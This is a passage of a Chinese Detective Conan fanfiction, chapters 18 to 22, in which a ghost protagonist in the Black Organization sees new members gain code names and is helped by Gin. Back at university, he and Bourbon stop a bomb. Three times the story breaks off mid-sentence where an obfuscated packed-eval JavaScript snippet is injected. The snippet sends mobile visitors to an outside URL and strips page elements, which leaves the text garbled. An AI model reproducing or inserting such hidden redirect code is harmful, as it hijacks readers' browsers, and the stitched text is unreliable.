虽然诸伏景光知道“绿川明”大概已经没有机会了,但是身为风间羽栖的新任下属,他还是愿意多接触一下自己的年轻上司的。
“安室透、诸星大。”风间羽栖喊了两人的名字:“这次考核任务你们两个人的表现已经证明你们有拥有代号的能力。”
琥珀色的眼睛微微扫过两个人的脸,面前的人都没有露出过于激动的神色,显然对于这个结果被并不意外。
“我会将你们的表现上报,之后先生会赐予你们代号。”
就再他还想说什么的时候,突然收到了琴酒的信息。
[G:那个人被我杀了。]
风间羽栖挑眉回复:[谁?琴酒,你现在杀人还要向我报告吗?]
[G:……你在找死?]
过了几秒,琴酒又发来了消息。
[G:狙击手。]
风间羽栖想起来了,之前他确实和琴酒提过,行动组那边有个是狙击手的代号成员把自己小情人塞进来的事。
……所以琴酒把他杀了?
风间羽栖有些迟疑的打字:[你不会是为了我吧?]
[G:……]
[G:那只老鼠为了他的情人背叛了组织。]
风间羽栖恍然大悟,他就说嘛,琴酒怎么可能为了他去杀人。
[G:行动组缺了一个狙击手,把你那最好的新人给我。]
行动组缺人——那也就意味着代号成员的名额多出来了一个。
“看来出了点意外。”成功用一句话让气氛紧张了起来,风间羽栖却丝毫没有在意——或者说他就是故意的,他看向绿川明:“代号成员的名额多了一个。”
所以柏图斯的意思是——诸伏景光有些忍不住诧异的微微睁大了眼。
他们看着这位年轻的代号成员、他们的主考核官,而他们的考核官却没有把目光落在任何一个人身上。
“恭喜你们三位。”虽然嘴上说着恭喜,但是风间羽栖脸上的笑却带着微不可察的对组织的讥讽:“成为了代号成员。”
19. 第 19 章
说完这句话后,风间羽栖就感觉头有些晕的不正常,眼皮有些要控制不住的合上。
对身体失去控制的感觉让他微微皱了皱眉,而且现在面前三个人还没走,他不可能直接当着三个人的面睡着。
风间羽栖握紧了手让指甲陷进手心,刺痛让他稍稍保持着清醒。
“现在,你们可以走了。”他勉强维持着原本的神色,不让眼前的人看出异样。
这句话说的很强硬,从他的语调可以听出话语里毫无回转的余地。
[印象值……]
[关键角色……]
过于疲惫的情况下,风间羽栖甚至没法仔细去看系统的提示,他尽力的做出了一个冷然的神色,表示自己想让面前人离开的意图。
虽然有些疑惑他态度的转变,但刚刚获得代号的三人还没有得意忘形到要挑衅一下这位主考核官。
在门被最后离开的人贴心的关上时,风间羽栖控制不住的靠在沙发上,但他仍然死死的握紧手心,让刺痛刺激着神经。
在昏睡之前他必须搞清楚状况。
‘系统,’他在心里询问:‘这是怎么回事?’
系统严肃着语气回答:‘之前你的灵魂受过一次伤,所以疲惫已经快超过灵魂能接受的阙值了。’
‘所以你的意思是,一旦过于疲惫我很可能会控制不住的昏迷?’比起睡着风间羽栖更愿意用昏迷来形容自己现在的情况,他感觉自己的感官知觉的敏感度都降低了——这是马上要昏迷的前兆。
很危险的情况,在系统说他现在的状态要睡十五个小时时他其实没太在意,以为这种困意是可以控制的。
——但如果这种昏睡不能控制,也就表明他很可能在并不安全的环境下睡着。
风间羽栖感觉意识已经在慢慢沉入黑暗,甚至感受不到手心里的刺痛。
但他无法反抗,陷入了昏睡当中。
寂静的屋外传来了脚步声。
系统:‘!’
系统:‘宿主——’
但风间羽栖此时根本听不到系统的呼唤。
银发的高大男人输入了密码推开了门,看见沙发上的人一愣。
“蠢货,”男人嗤笑一声:“竟然在这里睡着了?”
风间羽栖没有回应。
银发的男人皱了皱眉,目光落在风间羽栖苍白的脸色上。
“啧。”
-
风间羽栖有些愣愣的看了一眼盖在自己身上的衣服,从衣服摆放的形状看,这件衣服的主人大概是直接不耐烦的把衣服丢到自己身上的。
系统没有在他醒来后尖叫着提示,说明一切还在可控范围内。
风间羽栖坐了起来,身上盖着的衣服滑落,他微微抓住衣服一角,衣服上还带着淡淡的烟草味,风间羽栖几乎一下子就认出来了衣服的主人。
‘系统,’虽然是疑问但是风间羽栖的语气很肯定:‘琴酒来过了?’
这间安全屋的地址和密码琴酒是知道的,毕竟他们之前搭档过,不过风间羽栖有些意外的,他们已经不是搭档了,琴酒竟然还会来这。
他睡的那么死,琴酒竟然没乘机开枪打醒他反而给他盖了衣服,风间羽栖神色微妙。
而且要是琴酒问起了怎么办……要不然拿大病初愈搪塞一下吧?
系统:‘是的,而且他也是关键人物。’
‘啊……’风间羽栖发出一个意义不明的感叹词,思考了一下组织里的关键人物是不是有点太多了。
但是显然,系统的判定不是他能控制的,看了一眼时间,距离他昏睡之前已经过了十六个小时。
风间羽栖闭了闭眼,觉得这个时间足够能让敌人完成试图杀他、发现他不是人、然后把他带去实验室研究的一系列丝滑操作了。
‘所以说,没有什么办法让我不陷入昏睡吗?’风间羽栖语气虚弱。
系统:‘有的。’
风间羽栖睁开了眼,觉得一瞬间有了希望。
系统:‘在没那么疲惫的情况下,宿主可以把睡眠拆分成几个时间段,而在这种情况下虽然宿主仍然感觉不到外界发生的事,但如果发生了什么,我是可以叫醒你的。’
也没好到哪去……一想到自己可能会在任务空隙在组织同事的眼皮下睡着,风间羽栖就叹了口气,不过好歹是可控范围。
随后他照常看了看手机里的信息,毕竟那么长时间过去,组织里可能会有人找他。
果不其然,他的新任下属绿川明给他发了消息说他已经去组织的基地里获取了代号——苏格兰威士忌。
绿川明发的信息很详细,里面包括了其他两个人的代号和现在的职务。
安室透——波本威士忌,诸星大——黑麦威士忌。
‘怎么都是威士忌。’风间羽栖看到代号忍不住吐槽了一下。
系统貌似也想吐槽什么,但迫于规则压力,只能发出一串沉默的省略号:‘……’
至于分组方面,苏格兰和波本归于情报组,而黑麦则是去了琴酒的行动组。
风间羽栖没有什么意外,安室透是情报人员而且之前和贝尔摩德有接触,进情报组很正常;绿川明在获得代号之前就成为了他的下属自然要和他在同一个组。
而黑麦威士忌诸星大……琴酒那边缺一个狙击手,在绿川明进入情报组后诸星大也只能进入行动组。
不过,看到信息里“组织基地”这几个字时,风间羽栖想起来了,身为考核官的话,完成了考核任务之后他还要去基地签个字。
——为了方便组织在新人出问题时抓到对应考核官。
一想到自己通过的三个新人都可能是卧底,风间羽栖:……
-
风间羽栖到了组织基地,刚走进门就迎面看到了琴酒和贝尔摩德。
看了眼琴酒身上的黑色大衣,风间羽栖暗叹,琴酒果然不缺外套。
系统跳出提示。
[您已遇见关键人物贝尔摩德。]
[印象值+15。]
[关键人物贝尔摩德对您的印象为:特别的小家伙。]
[关键人物琴酒对您的印象为:愚蠢。]
风间羽栖的目光落在琴酒对他的印象上:……?
他神色有些微妙,最近他应该没惹琴酒吧?
琴酒显然也看到了他,冷声开口了:“boss对这次代号考核很不满。”
风间羽栖抿唇:“我知道。”
boss的不满是正常的,毕竟这次任务虽然完成了但是出了错,风间羽栖却没惩罚他们当中的任何一个人。
但是琴酒又是怎么知道的?他心里生出一点疑惑,总不能是琴酒一直在关注他吧?
琴酒冷笑一声,显然对他这个回答很不满意:“柏图斯,你还是和以前一样愚蠢。”
以前?风间羽栖想起来了,以前琴酒就对他说过这句话。
-
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266290|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那时候他还没获得代号,琴酒见到他也不是一见面就掏枪,对他的态度更像是一个还算有价值的下属。
直到某天琴酒要处理一个卧底,风间羽栖在琴酒举起枪的时候,抓住了他的手。
——天知道他当时是怎么想的。
气氛刹那间寂静了。
银发的危险男人嘴角带着冷笑,视线从卧底身上移开,看向了风间羽栖,绿色的瞳孔紧紧的盯着他,像是准备狩猎的野兽,语调冰冷又强硬:“放手。”
风间羽栖颤着睫羽握紧了男人的手指。
那个银发的男人显然不太适应这样的接触,或者说敢这么触碰他的人会在碰到他之前就被他杀死,他绷紧了手臂上的肌肉,语气更加冰冷:“放、手。”
风间羽栖没有动。
于是那个人失去了说第三遍的耐心,一瞬间风间羽栖恍然以为他要杀了自己的时候,那个人抬起了另一只手,扣住他的手指直截了当的对着那个卧底开了枪。
枪的后坐力震的他的掌心发麻。
那个人用还冒着硝烟的枪管对着他:“愚蠢。”
银发男人看向他的目光带着说不清道不明的意味,话语里是危险的警告。
“要不是boss觉得你有用,你的下场会和这个老鼠一样。”
-
风间羽栖很快从回忆里挣脱,很快就反唇相讥:“你也还是一如既往的惹人生厌。”
琴酒发出不屑的嗤笑,显然没有和他继续聊下去的打算,径直走进基地内。
正好安室透、诸伏景光和赤井秀一从基地里面走出来。
安室透在经过琴酒身边时感受到了琴酒撇向他们时暗含不满的目光。
安室透:?
“哎呀,是嫉妒吗?”贝尔摩德倒是看了出好戏一样说道。
风间羽栖:?
贝尔摩德现在已经不满足于神秘主义还要当谜语人了吗?
贝尔摩德心情像是很好的样子,她慢了琴酒几步,风情万种的笑着和风间羽栖打招呼:“好久不见~”
风间羽栖已经免疫了她的honey trap:“我记得我们不久前才联系过。”
贝尔摩德耸了耸肩:“的确如此。”随后她想到什么,挑眉:“对了,柏图斯,你知道吗?”
风间羽栖对她的态度感到有些奇怪:“什么?”
是发生了什么他不知道的事吗?
“琴酒可是特意和boss说最近组织人手紧缺,需要你来帮忙哦~”
很好,这件事他的确不知道。风间羽栖表情麻木。
原本听到琴酒说boss对他做的任务不满时他就有心理准备了——组织里的大部分惩罚都不会有肢体接触所以风间羽栖并不担心自己的鬼魂身份暴露。
但是这些刑罚无疑是痛苦的,无论从精神上还是肉/体上。
如果贝尔摩德说的是真的话,那琴酒的确可能帮了他一个忙。
毕竟要是他被关进审讯室就不能帮忙了,boss看在组织的利益和琴酒最近的功劳上都不会惩罚他。
但是琴酒图什么?风间羽栖皱了皱眉,觉得最可能的是朗姆和琴酒的矛盾加深,琴酒在拉拢自己。
手机的震动打断了他的思路。
他打开手机看到信息后一愣。
——是学校发来的信息。
原来他的休学期限已经到了吗?
风间羽栖恍如隔世。
20.第 20 章
已经一年没来学校了,看着学校熟悉又陌生的大门风间羽栖感叹。
今天不是节假日,但是门口的人员稀少,他打开手机登上了许久没登录过的学校论坛。
刚打开就看见了一个帖子,说学校今天有安全宣讲,从帖子的回复看,请来演讲的警察大概很帅,很多人都好奇去凑热闹了。
就在他在校门口刷论坛的时候,旁边走来了一个人。
风间羽栖目光移到那个人身上。
是一个穿着休闲装带着黑框墨镜的卷发帅哥,散发着一种桀骜不驯的痞气。
他的一只手里抱着几个玩偶,玩偶看起来是骑着摩托车戴着头盔的卡通小兔子。
玩偶看起来倒是挺可爱的,就是这个人的气质和这几只玩偶不太搭。
-
松田阵平皱着眉给萩原研二发消息:[交通安全宣传为什么要爆破组的警察来演讲?]
[萩原研二:咳,没办法……原本是千速姐来的,但是她的脚崴了没办法来。]
松田阵平面无表情的看了一眼玩偶:[所以你拜托我拿来的这个玩偶是?]
萩原研二秒回:[千速姐说这个是吉祥物!是活动抢答环节的奖品——]
[萩原研二:活动快开始了,麻烦小阵平把吉祥物送过来了~]
松田阵平烦躁的抓了抓头发,手指飞快的打着简讯:[先告诉我礼堂在哪啊喂——]
萩原研二没有回,显然是那边活动已经开始了。
于是松田阵平只好在门口寻找问路的目标,门口的学生不多,廖廖的几个经过也是一副急匆匆的模样。
直到他和一个琥珀色眼睛的青年对上目光。
大概是这里的学生,松田阵平确认了下手里玩偶的数量,走了过去,他的嘴角还叼着一根没点燃的香烟。
——虽然很帅但是不好惹的样子。
风间羽栖有些意外,他只是朝那边看了一眼而已,就被注意到了。
毕竟是他先好奇往那看的,觉得可能是自己的目光冒犯了别人,风间羽栖决定主动道歉:“不好意思——”
一只兔子玩偶被递到眼前。
“你是想要这个玩偶吗?”
完全没想到是这个发展的风间羽栖:“哎?”
“玩偶给你,可以告诉我礼堂往哪走吗?”松田阵平又把玩偶往前递了递。
原来是来问路的。
风间羽栖迟疑着接过,他捏着兔子耳朵的一角避免接触到松田阵平的手,在松田阵平松手后,软趴趴的玩偶落到怀里:“你怎么知道我是这里的学生?”
松田阵平拿着没抱玩偶的手夹着没点燃的烟,指了指他的口袋:“喏,你口袋里东西,是学生证吧?”
风间羽栖一愣,低头看到自己的学生证从口袋里露出一角,学生证不是枪械一类需要好好藏好的物品,所以他就随手把学生证放进了口袋里。
不过风间羽栖这件衣服的口袋很深,说是露出一角真的只从口袋里露出了一点点,不仔细看根本看不出来是学生证。
既然接下了兔子玩偶,风间羽栖自然也没有拒绝给面前的男人带路,不过礼堂离大门口有点远,风间羽栖随意的找了个话题:“这位……”他停顿了一下,不知道戴着墨镜的男人的名字。
松田阵平又把烟叼在嘴里了:“啊,叫我松田就好,松田阵平。”
风间羽栖眨眨眼,把自己的名字告诉了他,随口攀谈了起来:“松田先生观察很敏锐,是侦探吗?”
结果获得一个意料之外的回答。
“虽然很讨厌这个职业,但是不得不承认——我现在是个警察。”
听到这个回答的风间羽栖脚步一顿,一时之间分不清自己的诧异是来自于他又遇到警察了,还是因为松田阵平讨厌警察却成为了警察。
而且他看起来并不像警察,反倒像是特立独行的侦探——很受人追捧的那种。
“不像吗?”松田阵平挑了挑眉:“我可是可以轻松的拆除各种精细的炸弹哦。”
甚至是爆破组的警察吗?风间羽栖真诚的感叹了一下:“很厉害——”
松田阵平的嘴角勾了勾:“既然我都告诉你我的职业了,作为交换,你也要告诉我你是做什么的吧?”从刚刚他就注意到了,听到警察这两个字后,前面这个漂亮的年轻人一瞬间的不自然。
太久没回学校所以听别人询问自己的专业的时候风间羽栖愣了一下,随后才回答道:“……法学。”
回答完这个问题的风间羽栖都觉得自己有点离谱——谁能想到一个学法的学生是非法组织的成员呢?
风间羽栖自己也有些接受无能。
可以在视线范围内看到很多学生了,松田阵平把没点燃的烟收了起来,哼笑:“回答自己的专业都那么迟疑吗?”
风间羽栖知道他的疑惑,也有正大的理由:“大概因为我是休学刚回来吧。”
“休学?”松田阵平的目光落在他的脸上。
看到风间羽栖的第一眼他就发现了这个长的不错的年轻人脸色比较苍白。不过由于以前有个混血的黑皮同期而且风间羽栖的状态看起来不错,他也下意识的把风间羽栖当成了混血,现在看来好像不是这样:“生病了吗?”
风间羽栖点了点头:“已经痊愈了——差不多?”
“羽栖!!!——”有一道可疑的身影飞速的冲了过来,打断了他们的对话。
风间羽栖下意识的闪到一旁。
那个人没如愿扑到他身上,因为惯性差点跌倒,站稳后用一种看负心汉的眼神看着风间羽栖。
风间羽栖心虚的咳了一声,喊道:“会长。”
会长呵呵一声,语气幽怨:“你终于回来了啊,那么久没出现还不回信息,我们还以为你死了呢。”
——这么说其实也没错,他确实死了。
但是风间羽栖没敢这么回答会长:“……之前那个手机坏了。”
在回学校前他特意买了一个新手机,方便把学校的同学和组织的人分开联系。
会长不知道信没信,注意到了风间羽栖旁边存在感极强的松田阵平:“这位是……?”
松田阵平指了指自己怀里的几只玩偶:“来送东西,萩原研二在哪?”
会长恍然大悟:“哦,萩原警官在二楼会议室背演讲稿,羽栖……”
以为没自己事的风间羽栖茫然的抬头:“怎么了?”
会长:“你知道会议室在哪吧?”
这是要他把松田警官带上去的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272492|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意思,风间羽栖叹了口气,点了点头。
他带着松田阵平上楼了,推开了会议室的门。
萩原研二听到动静抬头:“小阵平!”他站了起来接过松田阵平怀里的玩偶:“哎?不是六只吗?怎么少了一只?”
在松田阵平的身后探出了个头——松田阵平比他高一些,正好把他的身影挡住了,所以萩原研二一开始没看见他——风间羽栖晃了晃手里的小兔玩偶:“有一只在我这。”
萩原研二稍微了解了一下情况后就展现出他超强的社交能力,热情的和风间羽栖说话:“你好你好——我是萩原研二,谢谢你带小阵平来。”
他试图搂上风间羽栖的肩膀,但是风间羽栖稍稍往旁边侧了侧身躲过,露出一个带着歉意的笑:“抱歉,我之前生了病刚刚痊愈,不太适应和人肢体接触。”
因为生病长时间不和人接触,所以不太适应应该算是正常的理由吧?风间羽栖不确定的想。
萩原研二摆摆手,没有介意,一如既往的热情:“没有关系。”
松田皱了皱眉,以为是他身体不适:“要是身体不舒服就坐会,别站着了。”
风间羽栖没有拒绝,坐了下来。
萩原研二没和他们谈论太久,毕竟演讲快开始了,所以他抓紧时间排练了一下
不过,说实在的,荻原警察的演讲会不会表现有点太夸张了?
这就是外向的人吗?在他讲到精彩处时风间羽栖配合的鼓了个掌,恐怖如斯。
萩原研二感动:“小羽栖好配合。”
松田对萩原研二浮夸的表现无语,闭了闭眼,随后看向风间羽栖:“……别太惯着他。”
风间羽栖弯了弯眸,他其实很喜欢这样的相处,热情、开朗……能短暂的忘却系统的任务和他的处境,感受和组织的冰冷不同的温暖。
一想到组织,风间羽栖的手指蜷缩了一下,眼神微微暗淡一瞬。
萩原研二敏锐的察觉到了,于是拉长语调喊他:“感觉小羽栖是个很好的人呢——”
像是在哄小孩子的语气,但是风间羽栖还是抬眼看向这位热情的警官先生。
荻原研二晃了晃手机“所以要加个联系方式吗?”
风间羽栖看了看怀里的兔子玩偶——看在玩偶的份上,而且以他现在的学生身份来看,他没有理由拒绝。
于是他报了个号码,加上了萩原警官的联系方式,顺便在萩原警官的热情下加了松田警官的联系方式。
因为是新号码,还没有加过人,风间羽栖略微心虚的侧了侧手机,不想让他们看到自己空空如也的列表。
万幸的是两个人好像都没注意到这个小细节,加完好友后,萩原研二就上台演讲了,出乎意料的正经了许多,虽然一如既往的很有激情,但和刚刚在演习时的浮夸表现完全不一样。
刚刚的排练果然是在和他们开玩笑放松气氛啊,风间羽栖感叹萩原研二的贴心。
他弯了弯眼,抱着这只小兔玩偶坐在台下,看起来和周围的人没有然后区别——如果忽视他在外套内侧的口袋里装着的小型手枪的话。
忽然,风间羽栖注意到前面座位的人站了起来,那个人戴着口罩低着头朝着侧门走去。
风间羽栖眯了眯眼。
21.第 21 章
在那个人起身的时候风间羽栖闻到了一丝熟悉的气味。
因为混杂在人群中,所以那丝气味被掩盖在了各种味道下,但是风间羽栖还是辨别出来了,毕竟在前几天的代号考核中,他从火药厂闻到过类似的味道——是炸药。
为什么一个人身上有炸药的味道?而且那个人戴着口罩垂着头显然是不想别人看见他的样子。
‘系统——’风间羽栖抬眼看向正在演讲的萩原研二,叹了口气,他感觉最近自己叹气的次数直线上升了:‘明明这里也没有关键人物,为什么还会有案件?’
之前有关键人物触发案件就算了,毕竟这个世界的剧情和推理有关,但是这里根本没关键人物吧?
系统一向回答的很利落,这次回答却稍稍卡壳,像是在斟酌什么:‘……和之后的剧情有点联系。’
模棱两可的回答,不过果然是和剧情有关。
但是为什么有案件已经不重要了,现在的当务之急是阻止那个人炸了学校。
虽然在场的有两个爆破组的警察,显然在拆弹方面他没有两个警察专业,但是现在萩原研二还在演讲,而松田阵平——风间羽栖也没有直接去找他的打算。
他没办法解释自己为什么能闻出炸药的味道。
风间羽栖把手里的玩偶放在座位上,站起身,他坐着的位置在最外排,所以他的起身没有惊动其他人。
他悄无声息的跟上了之前坐在他前排的那个人。
-
大部分学生都坐在了礼堂里,所以现在走廊的过道没有什么人。
风间羽栖尽量放轻了脚步,万幸的是,前面的那个人虽然有炸药但是个普通人。
这个人开始的时候还很警觉,偶尔往四周看看有没有人,但是到后面显然掉以轻心了,步履匆匆带着一丝激动和疯狂的走进了一个房间。
房间门没有上锁,风间羽栖稍稍的透过门缝朝里面看去。
那个人背对着他,手里拿着一个遥控器,而在他面前是一个正在倒计时的炸药。
还有半个小时炸药就会引爆。
而这个地方离礼堂中心,也就是所有观众坐着的地方距离不远——如果炸药爆炸必然会波及到所有人。
风间羽栖微微皱起了眉,琥珀色的眼瞳里泛着冷意。
虽然不知道这个人为什么想要炸了这里,但是无疑的是礼堂里的大部分人都是无辜的。
但是他现在只带了一把枪防身,没有带手套,在来学校之前他真的没有想到还能在学校里碰到案件——也就是他想要打晕控制住这个人也不行。
他拿出和组织联系的那部手机,给绿川明和安室透分别发了一封简讯,让他们把定位发给他。
安室透和绿川明都是情报组的人,找他们帮忙更加方便一些。
很快消息就有了回复——绿川明的定位很远,十分钟之内赶不到学校,而安室透的定位就很近了。
风间羽栖看了一眼安室透定位的具体方位——是一家居酒屋。
风间羽栖:……
所以安室透在居酒屋也有工作?
不过现在不是惊叹安室透打工能力的时候,风间羽栖给安室透再发了条简讯,询问他有没有时间赶过来。
——发完简讯风间羽栖才想起来,安室透已经获得了代号了,现在严格来说他们是平级,所以他有权利拒绝风间羽栖的要求。
风间羽栖已经做好了他拒绝的打算了。
——但是安室透、或者说波本威士忌很快就答应了。
-
降谷零换了一份新工作,之前那家餐厅在发生命案后生意变差了不少,老板换了个地方开店,不过距离有点远,所以他辞去了那里的工作换了家居酒屋。
居酒屋位于一条街上毕竟偏僻的位置,老板开这家店只是为了兴趣并不为了赚钱,店里没什么客人。
所以工作并不繁忙的降谷零很快就看到了柏图斯发给他的简讯。
简讯的内容很简短,可以看出发出这条讯息的主人有些急切。
为了制造氛围感,居酒屋的灯光有些昏暗,手机屏幕的光亮在这其中十分显眼明亮,简讯的文字倒映在降谷零紫灰色的瞳孔当中。
他的手指轻轻的在柏图斯让他去的地址上点了点。
这个地方倒是离他不远……不过这里是学校吧?柏图斯为什么会出现在那里?
降谷零的脑海里浮现了第一次见到风间羽栖的情景——黑色的短发柔软的垂在他的脸侧,既带着少年人的脆弱瘦削又带着青年人的冷静神秘。
如果忽略掉柏图斯是代号成员的这个身份的话,他的的确确该是在读大学的年纪。
但是想起柏图斯在考核任务中面无表情的模样,和死在他枪下的高森阳人——降谷零就产生了一点微妙的古怪感。
毕竟降谷零是警察,哪怕是在卧底期间他也从来不会忘记自己的职责,学生一向是警察要着重保护的目标。
而柏图斯这种身份是警察首先要抓捕的目标——这两个身份出现在同一个人身上时,降谷零不免有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272493|166584||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些心情复杂。
不过他很快就调整好了自己的心情,给柏图斯发了回复。
既然和学校有关,那他必须去看看,也许还能获得些和柏图斯有关的信息。
-
降谷零以最快的速度赶到了学校。
风间羽栖发了个定位给他——是学校礼堂的位置,提醒他不要惊动其他人。
礼堂里亮着灯还可以听到有人说话的声音,安降谷零带着一顶帽子遮掩自己的面容,踏了进去。
刚进去他就听到了熟悉的声音,降谷零抬头,看见萩原研二后一愣。
卧底期间碰见同期的事情他想过,不过降谷零没想到那么快就碰到了。
目光扫了一眼屏幕,降谷零大概明白这是学校在举行什么安全宣传活动,他松了口气,幸好萩原是因为安全宣传被请来演讲,不是因为警视厅有什么任务。
学校里现在有柏图斯,如果警视厅有什么任务和他们撞上了大概会很麻烦。
降谷零压低了帽檐,避免同期看到他的脸。
进入无人的走廊后,他朝着定位的方向走去,很快就看见了在走廊拐角蹲守的人,他压低声音:“柏图斯。”
看见安室透赶来的风间羽栖松了口气,同样压低声音:“你来了。”
他指了指一个房间,比了个嘴型:[炸药。]
降谷零瞳孔一缩,显然明白在人群那么密集的礼堂出现炸药意味着什么。
不过他很快想起自己现在的身份,他现在是波本显然不能表现的那么焦急,为了避免打草惊蛇,他没有说话,只是打字道:[柏图斯,你找我来是为了来做好人好事?]
意料之内的问题,风间羽栖很快回复:[我只是不想失去我的毕业证书。]
果然,降谷零看见这句话时并不意外,柏图斯是组织的成员,如果不是触及到他的利益他没有理由管这件事。
表面上波本看到这句话时只是挑了挑眉,看起来不为所动。
风间羽栖又问道:[波本,你会拆弹吗?]
恰好之前和同期学过一点,降谷零露出一个笑,风间羽栖对这种笑容很熟悉了,他曾经也在贝尔摩德的身上看到过——这是情报贩子和其他人交易时满含算计的笑容。
波本不紧不慢的回复:[会一点,不过柏图斯,这次算你欠我一个人情。]
欠情报贩子的人情啊……风间羽栖双手抱臂,手指在手臂上点了点,似乎是在思考利弊。
最后在波本的注视下,他轻轻点了点头。
22.第 22 章
风间羽栖面无表情的抱着手臂看着波本利落的打晕了那个人。
不得不说波本的体术很好,在之前代号考核的时候他就体会到过,如果让波本去行动组他估计也能混的如鱼得水。
礼堂的隔音很好,所以哪怕另一边的活动多么热闹热烈,在这里几乎听不见动静。
风间羽栖和波本都没有开口,从刚才到现在,唯一的动静只有那个人被打晕时发出的一声闷哼。
安静过头了,风间羽栖的思绪不免的发散了起来。
刚刚在波本赶来的那个时间里,不知道波本脑补了什么,给他加了十点印象值。
还附上了一个“……还是学生啊。”这样感叹似的评价。
说起来,从资料来看,波本也大不了他几岁,如果有好好读书的话大概是从大学刚毕业的年纪。
但是资料上写着他没有读大学,在社会上混了几年后加入了组织。
——所以是在社会上生活的那几年学了点拆弹吗?
毕竟资料没有记录波本那几年的详细精力,风间羽栖只能如此猜测。
不过值得庆幸的是,波本会拆弹,风间羽栖对炸弹的了解大多数是来自队友——有时候需要销毁证据的时候,组织的人会用上炸弹。
简而言之,装炸弹风间羽栖会,虽然他不会那么做,拆炸弹方面,他是一窍不通。
原本是打算让波本打晕了人之后,把炸弹运到远一点的地方——虽然不会拆弹不过风间羽栖可以看出这个炸弹里面没有水银平衡装置,所以是可以搬动的。
时间还充足,如果开车的话可以顺利把炸弹丢到附近的河里。
当然,这样做不可避免的是会引起其他人的注意,而且还容易被监控拍到,替换一个监控虽然不是很难但是监控数量太多还是很麻烦的。
如果波本能拆掉这个炸弹的话最好,可以避免很多麻烦。
在打晕那个人后把人绑了起来,波本把炸弹遥控器丢给他。
风间羽栖被波本这个举动吓了一跳:“……波本,你没有想过我没接住这个遥控器炸弹爆炸吗?”
波本耸了耸肩:“我没有和人殉情的癖好——这个遥控器的电池刚刚被我拿下来了。”
风间羽栖这才发觉遥控器的重量不对劲。
被耍了的风间羽栖磨了磨牙:“……无聊。”
由于没有什么报复的行动,这句话简直毫无威胁。
看起来好像要咬人的样子,青年因为刚刚的惊吓,瞳孔微微的收缩着,配上少有的琥珀色眼睛,看起来像是面对陌生环境过于警惕的猫。
降谷零观察着他这幅模样,不在执行任务的柏图斯表情生动鲜活许多,不知道是不是因为现在是在组织外。
似乎是觉得他现在的表情很有趣,波本笑了一下,指了指地上的人:“这个人怎么处理?”
风间羽栖看向房间的角落,抬了抬下巴示意:“放那吧,先处理炸弹。”
“真是够不客气的。”降谷零把昏迷的犯人放到角落,以一个不算温柔也不算粗暴的姿态——太温柔不符合波本的身份,太粗暴违背他公安的良心。
“呵。”风间羽栖控制不住的冷笑了一声:“毕竟指使你的价格是一个人情。”
一个情报贩子的人情是那么好还的吗?答案是——不好还,因为根本不知道波本要在什么时候利用这个人情。
这下波本倒是有点诧异了:“我以为你并不会当真,毕竟我们做事都是踩着法律和道德红线的,不讲诚信是很正常的事。”
“……我们是非法组织但不是街头混混,”风间羽栖嘴角抽了抽。
如果组织里每个人都随心所欲不遵守承诺,不遵守一些规则,那谁会听从组织的命令?组织早就乱套了。
不过不遵守信用的也有,有的人就是随心所欲,独来独往,但显然风间羽栖并不是这一类人。
而且风间羽栖也并不想和波本交恶。尤其是波本可能是卧底的情况下,如果未来有机会脱离组织,他不想一出组织就进监狱。
想到什么,风间羽栖的话语顿了顿:“既然你已经做好了我不会信守承诺的打算,为什么要帮忙?”
波本笑意加深:“柏图斯,我在讨好你啊,看不出来吗?”
“毕竟——”降谷零笑意盈盈:“我现在才刚进组织,还没站稳脚跟。”
面对波本的honey-trap,风间羽栖轻飘飘的反问:“是吗?”
由于他出色的黑客技术,组织里找到帮忙向他示好的人并不少,所以他也没太意外。
他熟练的露出一个假笑:“如果是想收买我,这种程度的示好不够哦?”
“那看来我得更加努力了。”降谷零耸了耸肩,他的示好和想要在组织站稳脚跟是真的,不过,想要从柏图斯身上获取组织的情报也是真的。
谈话没有浪费太多时间,看着正在倒计时的炸弹,降谷零小心的拆下了炸弹的外壳,看到内部后他挑了挑眉。
很简单的延时装置,稍微在这方面钻研过的人都可以做出来,从刚刚被打晕的犯人的身手来看,那完完全全是一个普通人,所以做出这种简单的延迟装置很正常,只要剪对正确的线就可以暂停。
但是奇怪的是——这个炸药威力很大,制作工序复杂,不是普通人可以随意制作或者拿到的类型。
仔细观察了一下,降谷零剪断了其中的一根线,炸弹的计时器“滴”了一声后暗了下来。
一旁原本微微皱着眉有些紧张的看着他拆弹的风间羽栖松了口气。
降谷零放下了剪刀站了起来:“炸弹就放在这吗?”
风间羽栖点了点头:“炸药不会爆炸了,这里有警察,留给警察处理好了。”
